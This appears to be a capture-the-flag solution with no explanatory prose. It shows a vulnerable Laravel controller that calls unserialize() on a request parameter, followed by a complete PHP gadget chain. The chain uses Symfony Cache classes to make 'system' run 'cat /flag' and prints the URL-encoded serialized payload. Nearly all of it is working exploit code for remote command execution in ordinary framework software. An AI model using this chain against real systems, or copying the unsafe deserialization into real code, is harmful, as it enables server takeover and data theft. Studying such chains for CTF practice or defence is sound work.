<?php
//backup in source.tar.gz
namespace App\Http\Controllers;
class IndexController extends Controller
{
public function index(\Illuminate\Http\Request $request){
$payload=$request->input("payload");
if(empty($payload)){
highlight_file(__FILE__);
}else{
@unserialize($payload);
}
}
} 
最后更新于
<?php
namespace Symfony\Component\Cache{
final class CacheItem
{
protected $expiry;
protected $poolHash;
protected $innerItem;
public function __construct($expiry, $poolHash, $command)
{
$this->expiry = $expiry;
$this->poolHash = $poolHash;
$this->innerItem = $command;
}
}
}
namespace Symfony\Component\Cache\Adapter{
class ProxyAdapter
{
private $poolHash;
private $setInnerItem;
public function __construct($poolHash, $func)
{
$this->poolHash = $poolHash;
$this->setInnerItem = $func;
}
}
class TagAwareAdapter
{
private $deferred = [];
private $pool;
public function __construct($deferred, $pool)
{
$this->deferred = $deferred;
$this->pool = $pool;
}
}
}
namespace {
$cacheitem = new Symfony\Component\Cache\CacheItem(1,1,"cat /flag");
$proxyadapter = new Symfony\Component\Cache\Adapter\ProxyAdapter(1,'system');
$tagawareadapter = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array($cacheitem),$proxyadapter);
echo urlencode(serialize($tagawareadapter));
}